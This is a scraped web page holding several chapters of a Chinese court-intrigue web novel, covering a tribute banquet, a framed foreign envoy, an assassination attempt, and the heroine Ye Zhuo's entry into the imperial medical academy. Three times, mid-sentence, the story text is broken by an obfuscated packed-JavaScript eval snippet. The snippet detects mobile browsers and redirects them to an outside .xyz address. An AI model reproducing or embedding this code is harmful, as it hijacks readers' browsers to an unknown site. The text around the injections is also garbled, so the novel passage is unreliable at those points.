“邢将军……”卫知瑶敛了敛眸,“可是皇后的那位胞弟?” “不错。” “我听闻今年万邦朝会,有三个国君亲自来参加,此消息属实么?” “西戎国王不确定。不过南师长老会同漠北王,亲驾来朝上贡之事,应该不差。” “怕是只有舍元殿才能容下如此多人。太子可出斋了?” “并未。” 卫知瑶皱紧了眉毛。 被折断羽翼的鸟儿,安能有自由可言?如今看来,谁不是和纳兰景一样同病相怜。可惜这世间最虚假、最没有用处的东西,便是感同身受一词。 “我和哥哥先去找今夜落脚点,再作行动商议。明日你且候于殿外,如若生异变,则以摔杯为号,遣人到北门接应。” “末将明白。” 将要告退,卫知瑶又拦住他。 “切记,你只负责开道,别的什么也不用做。就算我折在里头,也毋要多送条人命进来。” 邱山应下,欲回皇城复命。 经过素雅斋落,人烟稀少,熟悉的哭号依旧。 他抬头望去,明了哭声来源是谁,嗟叹着摇头。 这上京城中,到处都是牢笼。他们这些手脚长在自己身上的,究其一生,照样要被关在人心的笼子里。 就算太子想逃,逃得了一时,逃得过一世么? 青年男子的哭闹声震耳欲聋。 “我要见寰儿!” 这里是流水斋,纳兰燮为太子修建的书斋。 斋门未锁,门外把守五名洗马。屋内齐齐站了两排丫鬟侍从,皆是躬身而立,一言不发。 纳兰景将一桌书卷横扫在地,随手抓来一名内侍,痛哭流涕:“我已经在这儿读了半个月书!你们这帮该死的人奴,怎敢将本太子关于此处!” “殿下,每十日为一旬,陛下让您读够二旬再出斋,小的不敢忤逆。” 他气得将衣领一甩,瘫坐在地。内侍讪笑道:“陛下也是为了您好……” “为了我好?”纳兰景转头看着他,脸色茫然。突然扯下一名婢女的披帛,扔起就往房梁上系,“今日若是见不到寰儿,我就吊死在这屋里!” 身下两排人瞬间慌了,纷纷围上来扶:“殿下,使不得啊,使不得!” “反正横竖都是个死,与其活活闷死,倒不如吊死来得痛快!” 说话间便勒上白绫。刚一松脚,一根针飞过,披帛断成两截。 “哎哟!” 纳兰景“扑通”一声落地,亏得有一众奴仆充当肉垫,并没有摔疼。 “殿下,您没有伤到吧?”内侍忙不迭道。就要扶他起来,循着脚步声望去,门外显现一道颀长的身影。 “叶少卿。” 五名洗马行礼。 叶无声缓步进屋,薄唇轻启:“太子殿下,莫要再胡闹了。” 胡闹?他不过想见一见他的寰儿,现如今连一个太常寺来的副官,都敢说他是胡闹? 纳兰景狼狈起身,怒骂道:“叶无声,你不过是父皇养的一条狗!狗岂能朝着主人吠?” “太子殿下,”叶无声仍是皮笑肉不笑,“可是想见小郡主?” “不然呢?” 纳兰景指着周遭一群人,气得哭起来,“你们这群人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681895|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是一群只会摇尾巴的狗……我是当朝太子,我要见寰儿,你们凭什么拦我?!” 叶无声眼尾横挑,迷雾似的瞳眸不见半点波澜。 “我可以请示陛下,让殿下提前出斋。” “当真?!”纳兰景扒上他的袖袍。 “但是殿下,得答应我一件事。” “什么事?”纳兰景急不可耐,“只要能见寰儿,让我做什么都行!” “殿下,且附耳来听。” 纳兰景使了个眼色,遣散众宫人。 一盏茶的功夫,他的表情由欣喜转为困惑,再是迟疑。 “叶少卿,真要让我在舍元殿……父皇会允许么?” “会的。”叶无声道,“这是臣与殿下间的秘密。适才与殿下说的,殿下可记住了?” 纳兰景眼中充满希冀:“只要按你说的做,我就能见到寰儿么?” 叶无声点了点头。 “若能演好这出戏,殿下出流水斋,便指日可待。” 七月十四,万邦朝会。 一年一度的纳贡之日,赶在容国最为盛大的节庆前。西戎初归附,天下诸国齐聚一堂,此等史无前例的盛会,规模不容小觑。 群臣商议完国家大事,朝贺礼毕,移步至舍元殿。 一条绒毯铺至尽头,百官身着各色华服,纷纷入宴。 “漠北王到——” 肩披貂裘、身形魁梧的中年男子进殿,高耸的眉骨下,一双青蓝眼眸如鹰隼般凌厉。 身后紧跟白发苍苍的老翁。拄着拐杖步履艰沉,髯须长到遮住了眉眼。 “南师长老到——” “陛下,人员差不多到齐了。” 纳兰燮高举酒樽,开始行稽首礼。 “漠北蒙天子施德恩厚,今将兽皮千张、轻裘万件献与陛下,更有珠宝玉石足达百车,以慰劳陛下苦心。” 漠北王率先上前,将右手衣物撕开,露出半截小臂。 “然漠北小国,下不过百邑,方圆不过千里。曾不能为君谋疆土,经年累月,无有大成,政绩平平。臣有负陛下重托,实为戴罪之身!” “爱卿,何必如此言重?”纳兰燮将他扶起,赐座赐酒食。 “没有诸位爱卿恪守一方土地,矢志不渝辅佐朕收复河山,便没有朕的今日。万邦来朝,八方来仪,今日诸位当开怀畅饮,与朕同享这盛世太平!” “吾皇万岁,万岁,万万岁!” 各国来使献上贡品,臣子把酒言欢,雅乐奏响。 “夸夸其谈,尽是些空话。” 高眉深目的女子坐于席间,与身边男子窃窃私语。 “我听闻今日的庆功宴,本是为狼牙军首将举办。没等来我们的功臣,却找了个冒名顶替的,这帮中原人,还真是虚伪。” “别胡说。”男子不急不慢饮着酒,“要是被听见,不得把我们赶出去?” “他们又听不懂,怕什么?” “与中原建交,原本是母君的意思。我们做好我们的,只要他们以诚相待,多个朋友,总好过多一个敌人。” 酒过三巡,纳兰燮叫来身边太监,问道:“阿昌何在?” “回陛下,黎亲王称身体有疾,已于数日前还乡休养。” 他不禁嗤笑,“朕与他兄弟一场,什么痼疾,竟不值得与朕说一声。” 安公公就要逢迎,此时殿外来人:“报——” 群臣纷纷投去目光,却见一阍人赶来,神色仓皇。 “宴席还未结束,谁允你私自上殿的?” 那阍人慌张抬头,“是皇后娘娘……娘娘适才在殿外与众嫔妃共宴,薛嫔吃了西戎送来的贡品,现在上吐下泻,恐是食物腐坏所致。” “什么?!” “这腹中胎儿,只怕……怕是保不住了!” 11.破茧(一) “哐啷。” 贡果散落一地,有的长了霉,内里已经腐败。 “小小的西戎国,真是太不把我天朝放在眼里了!” 地上那女子打扮得珠光宝气,面容却煞白。案下裙摆边,一片血红刺目,宛如那树炽色芍药,开满了宫墙。 跟前一众嫔妃,皆是花容失色。 独独头戴凤冠、惊鸿髻高梳的女子,忿忿不平地开口:“指不定里头还掺了什么东西,幸得陛下没有误食……万一伤了龙体,那可怎么了得?陛下,这帮蛮夷胆敢以腐物陷害后妃,绝不能轻饶!” “薛嫔遭了这般罪,现在说这些没用的做什么?!” 纳兰燮怒地将她甩开,扶起地上的女子。 “先保住孩子!温太医何在?!” 安公公下去传唤,临时想起什么,回身道:“温太医今日受医博士之命打理药园,不在宫中。” “那就传叶少卿!” 纳兰燮紧握薛嫔的手,额头、掌心,不住往外沁着汗。 朝臣举目四顾,议论纷纷。众多胡人面孔中,女子不自觉攥紧拳头,掌心被指甲掐得发红。 长发男子见状,轻扯她的红披肩:“别冲动。咱们身正不怕影子斜。” 众人紧张的目光下,叶无声上前把脉。 “叶少卿,怎么样了?朕的孩子……” 隔着纱巾,他眉心微簇。良久以后,摇了摇头。 就连他,也无力回天么? 正中晴天霹雳般,纳兰燮扶住额头,一阵目眩。薛嫔依偎他怀中,早已没了气力,只有一双眼发红,不停流着泪,死死瞪向花圃旁那人。 察觉这道目光,邢皇后别过头去,不以为意。 叶无声唤来薛嫔的侍女,道:“送娘娘回去卧床休息,稍后我开一副方子,命人煎下,须服用七日。滑胎对女子伤害极大,月内务必静养。你记得好生安抚娘娘情绪,切忌动怒,以免再伤五内。” 侍女应下,纳兰燮松了手,瘫坐在地。空气仿佛凝滞。 他往外邦队伍中扫视一眼,怒意裹挟上了眉梢。 “西戎使臣何在?” 红衣女子往前一步,身侧男子紧随其后。 “陛下,我等乃西戎国王钦派使臣,尹冰、尹炎。” 纳兰燮挥了挥手:“给朕拿下。” 尹冰错愕抬眼,作揖的手僵在空中。未等拔出防身匕首,周遭士兵一拥而上,反身将她扣住。 “这就是你们容国的待客之道么?!” “容国只好留善客,你们胆敢以腐物辱我朝纲,妄图加害皇上、加害娘娘,还有什么好说的?” “那盘果子不是我们送的!我们西戎人行事从来光明磊落,赠给外邦的贡品都是经千挑万选,确保无误,才敢拿给别人!” 邢皇后斜睨着她:“贡品装在西戎运来的箱子里,自始至终由使臣看管。照你的意思,那也是你们使臣监管不力!” 双手不住挣脱,奈何寡不敌众。 尹冰怒了,转而对纳兰燮:“容国自诩为天下之主,你身为皇帝,连查都不查,无凭无据却要治我们的罪,何以服众?!” “大胆蛮夷,敢对陛下无礼!” “住口。”纳兰燮揉着太阳穴,强定下心神。 “你们西戎国君,先前答应要亲临朕的宫宴,今日怎却又不来了?” 尹冰冷哼一声:“国君年事已高,恐不便远行。” “依本宫看……不是不便,而是不敢。”邢皇后意味深长。 “皇后主理中宫之事,多有辛劳,还是早些回去休息罢。”纳兰燮道,本是给她留台阶下。 “陛下,西戎国君言而无信,今日此举,分明是做贼心虚。臣妾不忍妹妹深受其害,也是一心为陛下着想……” “好了!” 好好的一场宴席,闹得一地鸡毛。头疾一犯,他也无心再议政。 “将这二人押入牢中,等候发落。” 尹冰狠狠瞪了他们一眼,望向高台上那人。 “容国皇帝……你如此狂妄自负,总有一日,要后悔今日之所为。” “诸位爱卿,可还有异议?” 大臣们左顾右盼,见无人发话,一名老臣站出来:“陛下,臣斗胆谏言。” “说。” “使臣进贡,路途艰险。气候多变,器物腐化,恐非人力所能为之。西戎初归附,正宜敦睦邦交,因贡品之事,闹得两国关系陷入紧张,只恐得不偿失。” 邢皇后掩面而泣,余光瞥了瞥:“依介大人之言,薛嫔的身体也是小事,陛下之事也是小事了?” “臣并无此意……” “若是贡品之事都能视若无物,无异于视陛下威严于无物。他日什么渣滓都敢往朝堂上送,岂不成了谁都能蔑视我大容?!” 老臣双手一颤,哑然失色。 “介大人,莫非忘了上回滥用善心,因何而获贬?”邢皇后道,“陛下开恩饶恕你,莫不是不懂得吃一堑长一智……还要故技重施?” 纳兰燮眉头紧皱,大袖一挥,“此事无需再议。” “太子景殿下求见——” “太子?” 殿中一时哗然。 “太子殿下他……不是在流水斋读书么,怎的今日未征得允许,反到这舍元殿来?” 纳兰燮:“让他进来。” 不同于以往的随心所欲,今日的纳兰景,换了身正式朝服,黑发整齐地冠起,就连长相都聪明了许多。 他迈着稳重的步伐进殿,抖了抖衣袍,行跪礼。 “孩儿见过父皇、母后。孩儿有要事,急需禀明父皇。” 百官神情愕然,纳兰燮端坐龙椅,眉尾横挑。 “太子近来身体如何?” 纳兰景肃然道:“回父皇,孩儿身子已无大碍。承蒙父皇恩德,近日头昏有所减轻,始觉耳聪目明、如梦方醒。” “甚好。”纳兰燮点头,“你来所为何事?是为少读几日书,还是又来找寰儿?” 找寰儿?他倒是想啊,做梦都想。但叶少卿说必须要按流程来,为了与寰儿长久相伴,千万不能逞这一时之快…… “景儿,你父皇正在议事,褚寰可不在此地。” “并非为了找寰儿。”纳兰景咬咬牙,“孩儿不忍西戎使臣蒙冤,特来昭雪。” “哦?” 此言一出,满堂皆惊。 “贡品就在此处,你现在告诉朕。”纳兰燮指了指桌前那摊东西,“西戎使臣以腐物加害我朝,欺我容国坐井观天,铁证凿凿,何来冤屈?” “回父皇,”纳兰景拾起一颗腐果, “薛嫔之所以上吐下泻,既是因食用腐烂之果——试问食物腐败,需要何种条件?” “食物腐化,自然是湿热所致。” 纳兰燮眯着眼道。 纳兰景又指着一旁的木箱,“这种木材带有虎皮纹,名为沙漠铁木。用来保存食物,能起良好隔热之效。至于这湿么——” “由西戎入关,一路皆是干旱无雨之地。既没有潮湿的环境,何来这一丛霉斑呢?” 一语既出,群臣豁然开朗。 “这么说来,想是贡品中途遭人掉包,故意陷害西戎来使了!” “启奏陛下。”介老臣道,“离了西北二州,往来上京脚程不过五日,又有快马加急,不至于长霉至此。由此看来,这些贡果乃是来自东南多雨地带。可见有人从中作梗,欲挑拨两国关系,置我朝于不仁不义。望陛下明断!” “既如此,”纳兰燮揉着太阳穴,“误会一场,那便赦免西戎使节吧。” “陛下!”邢皇后不可置信。 “皇后有何高见?” “臣妾……臣妾不敢。” “既如此,”纳兰燮厉声道,“刑部尚书何在?传朕口谕,彻查私换贡品之人,一经找到,务必严加处置!” 纳兰景抹了把汗,还好没露破绽。 “谢过父皇!” 青年男子啜着酒,头戴玉冠、眼若黑潭,正目不转睛盯着他。尹冰、尹炎被送回席间,以慰劳之名赏以绢帛,实则严加看管。 而更靠近角落的一侧,叶无声正摇着杯盏,目睹这一切。 纳兰景就要起身,但见黛蓝裙摆、长靿靴落于肘边。 他傻傻看着,这又是谁?叶少卿给的剧本里,没有这么一出啊…… 卫明川腰系革带、佩有水色长剑,背对他朝大殿走去。 “世子殿下到——” 纳兰燮将金樽清酒一饮而尽,正对他举杯:“世子殿下,别来无恙啊。” “微臣应陛下邀约,特来赴宴。” 卫明川落座席间,面向北面。群臣各聊各的,不时瞥向他,无不是目光诧异。 “世子,来得如此匆忙,适才可错过一场好戏。但凡与朕传句话,朕也好派人去接应你啊!” “陛下言重了。”卫明川道,“臣乃草芥之躯、有罪之人,不敢当此殊荣。” “哦?”纳兰燮挑眉,“不知世子,何罪之有?” “臣的罪过,陛下比谁都要心知肚明。” 纳兰燮微微一笑。“朕听闻数日前,黎亲王府上下返乡探亲,可有此事啊?” “父亲年老多病,不能在朝理事。正好赶上外翁祭日,想着换换环境,这才回乡拜祭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692955|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那可要请个大夫,好生照看才是。”纳兰燮接着道,“朕近来忙于国政,腾不出空,要不然,定要亲自去看望阿昌。不过爱卿既回来了,朕还有一出重头戏,是特地为爱卿准备。” 说话间,麋皮制成的箭靶,已被摆于阶下。 “爱卿,可千万不能错过了。” 年轻男子接过箭筒,起身作揖:“适才一场乌龙,望没有扫了诸君兴致。末将邢真,愿为诸君射箭助兴。” 气氛有几分微妙,朝臣们似乎心知肚明。 “邢将军箭术精湛,我等皆是舞文弄墨之辈,得此良机,自当一饱眼福!” 邢真将弓拉满,退于殿前。 一把冷箭飞速穿过,划破凝滞的空气,正中靶心。 一支,又一支。 卫明川隐约嗅到了。从那箭矢之中,将要喷薄而出的气息,正以排山倒海之势向他逼紧。 嗖的一声——未等擦过他的肩头,又一把箭与之相撞,挟带冷气。 “谁?!” 顺着方向望去,对面的屋脊之上,蒙面女子张弓搭箭,瞄准殿内。 “有刺客!保护皇上!” 断成两截的箭,被卫明川拾起。 “看来邢将军的箭,也有走偏之时啊。”他似笑非笑。 另几名箭客探出头来,女子从屋顶跃下。 席间众人抱头鼠窜,瓜果酒食,顷刻洒落满地。 漠北王不见了踪影,南师长老将寿桃一丢躲于屏风后,身后还蹲着十几名宫女。一炷香时间,适才井井有条的宫宴,成了一片杯盘狼藉。 邢真护于纳兰燮身前,乔装作仆从的士兵抽出宝剑,朝二人迎面扑来。 周旋一阵后,她拉过卫明川的臂腕。 “快走!” 才奔两步,门外已被百八十个禁军团团围住,不留一丝缝隙。 “既然回来了,以为还跑得掉么?”纳兰燮步下阶墀,不急不慢走向他。 卫知瑶警惕后退,握紧了长弓,额角淌下汗珠。 “先是私赦叛党,再是欺君劫狱。你们兄妹二人,当真齐心协力。可是这些年来,朕视你父王为兄长,赐你一家封号爵位,何曾亏待过你?你做下的事,却何其让朕寒心……” 他压着哭腔,露出一丝悯然。然而在对上卫明川瞳孔一瞬间,消失殆尽。 这双眼又黑又亮,藏着不屈、刚毅,独属于少年的眼神。纳兰燮弯下腰,拍拍他的脸。恍惚中,好像看见许多人的影子——有曾经的自己,有黎亲王卫昌,有那个自己最不想看见、最怕看见的人。 “今日当着众国君的面,且说说你卫明川,都为朕立下过何等——功绩。” 卫明川望着他,唇角勾起。 “你笑什么?” “我笑陛下不识忠奸,任奸佞为非作歹,却将微臣逼至绝境。”他摇头道,手中凌霜剑滑落。 “逃亡惧责,是臣一罪。在其位不能谋其事,罔顾君臣之道,是臣二罪。然明镜本明,沟渠本清,臣最大的罪过,就在于不该自辩其清!今归来自首,非心虚,更非惧死……身为臣子,臣身死事小,唯独不忍陛下耳目遭蒙蔽!” “事到如今,你还在狡辩!” 为何,为何他就执意不肯认罪? “臣从未有过谋逆之心。” 卫明川将剑一丢,伏身跪下。“今愿弃剑伏法。但求陛下网开一面,饶恕舍妹。” “哥哥!”卫知瑶咬咬牙,干脆将弓箭扔下,屈膝道:“陛下,劫狱是我的主意,与兄长无关。是臣女看兄长蒙受牢狱之灾,这才……” “够了!”颅脑一阵钝痛弥散,纳兰燮目眦欲裂,“你们一个两个,都称道自己没错,到头来,反倒都成了朕的错?!来人,将这两个叛臣贼子拿下!” 一名内侍匆匆上殿:“报——” “又有何事?!” “门外有名女子求见。” “这也值得通传?朕这舍元殿,岂是什么阿猫阿狗都能进得了的?!” 那小厮捂着脸道:“此女自称是逃走的叛党,坚持要求见陛下。奴才要拦,实在拦不住她……” “冯殷叛党?” 纳兰燮眯起眼,“正好。同伙既来了,今日就在群臣见证之下,一并剿了这贼窝。” “进去!” 两名解差将她押入。 身穿宫女服的小小人儿,一身新芽欲发的嫩绿,手腕上了镣铐,步履却坚定。 待到看清她的面容,卫明川、卫知瑶双双一惊。 掠过人潮,叶无声位于殿侧,手中银杯轻震,液滴洒落案上。 “民女叶灼,参见陛下。” 12.破茧(二) “民女自岐州而来,特来向陛下请罪。” 纳兰燮眯起眼,“你便是逃跑的那名叛党?” “不错。” “你……!”卫明川压低嗓音,“你这是做什么?!” 叶灼瞥他一眼,不动声色。 “此案系有冤情,民女虽身负叛党之名,却无叛党之实。” “看来,爱卿还留有后手啊。”纳兰燮倚着扶手,目光戏谑。 卫明川:“臣不认识此女,请陛下勿要牵扯无关之人!” “朕要听她说。”纳兰燮眸光冷峻,转而看向叶灼,“无叛党之实,这是何意?” 叶灼定定望着台上,却是缄口不言。 安公公清了清嗓,“陛下让你回答!” 她匍匐跪地,顿了顿。下定某种决心般,骤然抬高音量。 “民女愚昧,不知法度。但久闻陛下施以仁政、明察秋毫,从不累及良善。民女所言句句属实,唯愿陛下开恩,宽宥无辜之人!” “黄口小儿,敢和陛下谈条件?”安公公呵斥,被纳兰燮伸手劝阻。 “好,朕答应你。朕,可以给你这个机会。” 叶灼抬头:“陛下此话当真?” “天子之诺,一言九鼎。若你真能证明世子有冤屈,无辜人等的罪责,朕便不予追究。”纳兰燮言道,眸中闪过一抹厉色。 “可你若说不出个所以然来,叫朕该如何治你的罪?” “要杀要剐,任君处置。” “既如此,”他抖了抖袖袍,“朕倒要听听你的冤情。” 群臣的目光聚焦,好奇起她的来头。史官挥毫泼墨,各邦的国君、来使纷纷放下杯盏。 胆敢擅闯宫宴、与中原皇帝对峙的小姑娘,不单在整个容国,放在全天下,他们也是头一回见。 独独叶无声面色阴沉,心几乎悬到了嗓子眼。 却见叶灼揣出方帕子,鼻尖耸动两下,眼泪夺眶而出。 “民女自幼父母双亡,流落至边境小城,以行医为生,家中仅有一个老伯。一家二口,挣得虽然不多,好在勉强可以果腹。可是近年来,官府强征民财,医馆生意不景气,竟到了入不敷出,不足以养活自己的地步……” 她举起帕子,抽噎着哭起来。 “民女为求得故人相助,讨口饭吃,不得已来到上京。恰逢狼牙军凯旋而归,民女身无分文,无奈家中还有老伯要养,一时起心动念。乘机混入叛党行列,实在是不得已而为之……” 席间众说纷纭,介老臣已是声泪俱下。 “可怜呐。真是个孝顺的孩子!” 见众人这般反应,正合心意。她嘴角微勾,接着道:“世子殿下发现实情,怜我孤苦无依,不愿追究罪责,这才将我放了。未料此无心之举,竟然害了殿下!思来想去,民女终不想连累无辜之人。故此番来自首,此事由我一人所为,与他人无关!” 纳兰燮手指微微抽动。 “仅凭你三言两语,叫朕如何相信?” “陛下若不信,”叶灼说道,“回师带回的叛党定有记载人数,只需对照人员名册,一查便知。” 她抹着泪,余光瞥了眼席间。 朝臣们对望着点头。看来有用。那老皇帝就算不信,证据是实打实的,又有这么多使臣在场,总还要点儿面子。 这帕子上蒜汁有够辣,实在熏得她受不了了。 “你方才说,你是自岐州而来。来上京为寻一故人,那故人是谁?” 擦泪的动作顿住。 叶灼忐忑抬眼,心道:遭了。 若是将师父的名字托出,万一连累师父怎么办?师父于她有养育之恩,她一人做事一人当,断不能让师父受牵连。可这样一来,非但救不了卫明川,自己反倒要赔一条命进去。 “隐瞒不报,乃是欺君大罪!” “故人……故人就是一远方亲戚,无甚来往,民女并不知晓他的名字。” 纳兰燮眯着眼微微前倾,“不知姓名,那他家住何处?是哪条街巷,哪户人家,说与朕听听。朕向来体恤民情,定帮你找到。” 她摩挲手指,不再说下去。 叶无声垂眼盼顾,已是心乱如麻。 说啊……为什么不说?阿灼,为什么不供出师父? “恕民女不能——” 话音未落,众目睽睽之下,他终忍不住动身。 一道绯色落于裙边,与她并排跪地。 “陛下。此女所言故人,应是微臣。” 熟悉的侧脸线条利落,抬起的大袖掩去半张脸。三年未见,身侧之人的眉眼,隐隐流露出几分疏离。 “师父……?”叶灼脱口而出。 师父他,怎么可以承认呢? 叶无声并没有看她,目光淡淡。尽管极力遮掩,那一丝转瞬即逝的慌张,仍被纳兰燮尽收眼底。 “莫非,她就是叶爱卿口中那体弱多病的徒儿?” 叶无声不语,只是点头默认。 纳兰燮指向鼻青脸肿的小内侍,“朕看她,可不像你说得那般肩不能挑、手不能提啊。” “是微臣管教无方,令孽徒混进宫中,酿成大祸。”叶无声敛了敛眸,“念她年纪尚小,有所不敬之处,唯愿陛下开恩……” “不必再说了。”纳兰燮负手而立。 “朕,岂是个不通情达理的皇帝?既是你叶无声的徒儿,朕还能亏待她不成。倒是你这师父,若当初听朕一言,早日将她接到皇宫里,怎会平白生出这桩闹剧?” “臣在朝为官,有负陛下重托。”叶无声叩首道,“千错万错,全属臣一人之过。愿自请贬黜,请陛下降罪于臣。” “不,这不关师父的事!”叶灼急着跪上前,“师父他根本不知情!是我自己非要来上京,要罚就罚我一个人,杀我的头便是了!” “阿灼!”叶无声压着愠火。 “你们师徒二人一唱一和,还要揽责到什么时候?”纳兰燮扶额,太阳穴里的青筋一跳一跳。 “罢了。念她寻师心切,私闯舍元殿之事,朕便不予追究了。” 叶灼咽了咽口水。 “不过就算你所言不假,劫狱之事,朕绝不可轻饶。世子欺君犯上,纵使死罪可免,活罪也难逃。” “此话当真?” 她将帕子一扔,磕了个大大的响头。 这样便好。至少留他条命在,总算没有白白浪费眼泪。 “你过来,让朕看一看。” 叶灼怔怔,看了眼叶无声。 他使了个眼色,示意她上去。虽不知道这老皇帝想干嘛,但皇命不可违,便只好就范。 对着这张脸,怀念与愧疚一并滋生。一双杏眼虽稚气未脱,但眼神坚毅,英气难掩。尤其直勾勾盯着他时,竟让人生出一丝惧怕来。 像啊,真像…… 一个僻远异乡来的小丫头,为何,却令纳兰燮感到这样熟悉? “既是叶少卿之徒,你的医术应当不错了?” “略懂得些皮毛。”她想了想补充道,“是师父教的好。” “伶牙俐齿。”纳兰燮道,“沈拓何在?” 白胡子老头应声而出,俯首作揖。“臣在。” “你那太医署,不是还缺人么?这小儿可是叶无声的徒弟。你要不要?” “陛下若有意,老臣依陛下的意思便是。” “那即日起,便将她纳入医科,充作门生吧。他日若有望成才,为我朝仁术作出贡献,倒也不枉朕这一番苦心。” 叶无声就要开口,却被叶灼打断:“多谢陛下!” 似乎经历极大一番挣扎,原本略微蹙起的眉,此时更紧了几分。但见她肉眼可见的欢喜,自己又何以阻拦? 沉吟良久,终是不甘地道:“多谢陛下。得陛下提携,是小徒此生福分。” 沈拓应声将她领过。 “传朕的口谕,卫明川一案,让刑部再行查验。若此女所言属实,且将本案移送大理寺,依照国法处置。” 纳兰燮大袖一挥,按着头起身。 “朕乏了,今日便到这吧。叶卿,你随朕到紫宸殿来。” 叶灼懵懂地往身后望去。卫知瑶正在地上作揖,一个小太监上前,递给卫明川一卷什么东西。 “谢陛下不杀之恩。” 惊喜来得太过突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703895|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,她尚没能缓过来。又不舍地瞥了叶无声一眼,师父跟着那皇帝老儿下去,也不知去做什么。瞧那皇帝扶着额头,指节一颤一颤,太阳穴也跟着跳动。以她多年行医经验来看,许是犯了头疾? 没过多久,朝臣们一个接一个散开。 纳兰景蹲在门口,已经观摩许久。与叶灼擦肩而过时,仔细瞧了一眼。 本是想看看是谁这样胆大包天,惹了父皇和叶少卿,竟还能安然无恙。这一瞧,顿把他吓得瘫坐在地。 这宫女,这张脸,这副眉眼…… 是“他”,他回来了? 纳兰景站起来,拍拍屁股,踉踉跄跄逃离。 “小儿,你跟我来。” 叶灼跟着白胡子老头走出大殿,路上隐约听见些讨论。 “不曾想叶少卿为官这样久,竟还留了个小徒在家。” “哎呀,若此女所言属实……那这叶少卿,未免也太过无情了。” “可不是么,三年前他只身一人来上京,留下老人家和孺子,就这么不管不顾。这样好一个孩子,却要蒙受这种苦难。真是世风日下,人心不古哟!” 她抿了抿嘴。本想为师父出面说几句,但那白胡子老头催得紧,走起路来健步如飞。 “小儿,跟紧些。” 经过几座恢宏宫殿,沿着拂春街一路走,来到太医署。 以往,叶灼都是由侧门入后院,还从来没有从正门进去过。从另一个角度看,果然别有一番风景。 眼前一座巍峨的大殿,两侧游廊里,学子竞相穿梭。他们中有男有女,穿着自己那日看到的棠梨色长衫,有的捧着书,有的追逐打闹。 园中央有个大大的湖泊,湖上架有廊桥,边缘种了几棵梧桐树。树下有几块石墩,正正好能坐下两名学子。 “沈博士,您找我?” 水面上,两只鸭子扑腾着翅膀嘎嘎叫。叶灼看入了迷,迎面撞上沈拓的后背。她捂着鼻子,浑没注意到跟前多了个人。 “这丫头名叫叶灼,即日起便是你们的同窗了。你带她去阁中登簿备案,顺带熟悉一下环境。竹苑还有事,明日祭典休沐,你记得代为通知。” “是。” 沈博士说完便走了,少女生得面容俏丽,冲她俏皮一笑。 “你叫叶灼?” 叶灼怔怔地点头,握上她的手。自打来了皇城,许久没被这么友好对待过,竟有些不习惯了。 “往后我们同在医科,有什么不懂得,可以来问我。我叫介铃,是翰林院介大人的独女,长你一级,你可以称我为师姐。” “师姐……师姐好。” “听说你是叶少卿的徒弟?” 叶灼又点点头,“师姐怎会知道?” “是我爹告诉我的。宫里宫外传了个遍,都称道今天万邦朝会,来了个了不得的角色。”她说着,捂嘴笑起来。“脚踢小黄门、公然与圣上作对的小丫鬟,说的就是你吧?” “我、我没有故意作对。”叶灼连忙摆手,“我只是想救世子殿下,他是我的朋友。” “不管有没有,如今圣上想要除掉殿下,你帮着他说话,又是在那么多使臣面前。若换做别人,早该掉脑袋了。” 叶灼脖前一凉,心道这下坏了。 才刚到上京,都没和师父说几句话,就给他惹来这样大的麻烦。那皇帝老儿把师父叫去,该不会是为了治罪吧? 万一真牵连到师父,她还有何颜面留在上京啊…… “不过陛下既没有追究你,又将你塞进太医署,想来是看在叶少卿的面子。能让你进医科,也定是他足够看重你。” 介铃领她到一处楼阁前,“你呀,就不必太过忧虑了。以后做事长点儿心,少惹口舌是非就是。” 叶灼紧抿下唇,用力点两下头。 瞧她一脸乖顺,怎么看都不像能拳打许昭昭、脚踢小黄门的样子啊。介铃一阵哆嗦,果然人不可貌相。 “这里是流芳阁,管理学子档案的书阁。随我进来登簿吧。” 叶灼紧随其后,就要往里走去。 不知从哪儿飞来的鞠球,“咻”地一下,正中她的后脑勺。 13.破茧(三) 叶灼捂着脑瓜:“谁啊!” 小小的鞠球落于脚边,转过头去,三五张熟悉面孔横在廊前。 “命中目标!” 许昭昭拍手大笑,露出残缺的大板牙。身边站着一男一女,胡广正替他扇着风。 “老大真不愧是神射手,蹴得一手好鞠!” “哎,那边站着的!快把球给老子扔回来!” 介铃扯了扯叶灼的衣角,“那伙人从来不务正业,别理他们。” “笑得比鸭子叫还难听。” 叶灼捡起那只滚圆的小球,用手掂量下,轻轻往上一抛。 她懑懑道,“看我不堵住他的嘴!” 说着,伸脚就是一踹。 小球在空中划出个优美的弧度,结结实实朝许昭昭砸去。 “哈哈!哈啊。” 鞠球从脸上掉落,留下道黢黑的印子。几人眼睁睁看他嘴角抽动,“咔”一声,另外半颗门牙四分五裂,碎成了渣渣。 “老大,您没事吧!” 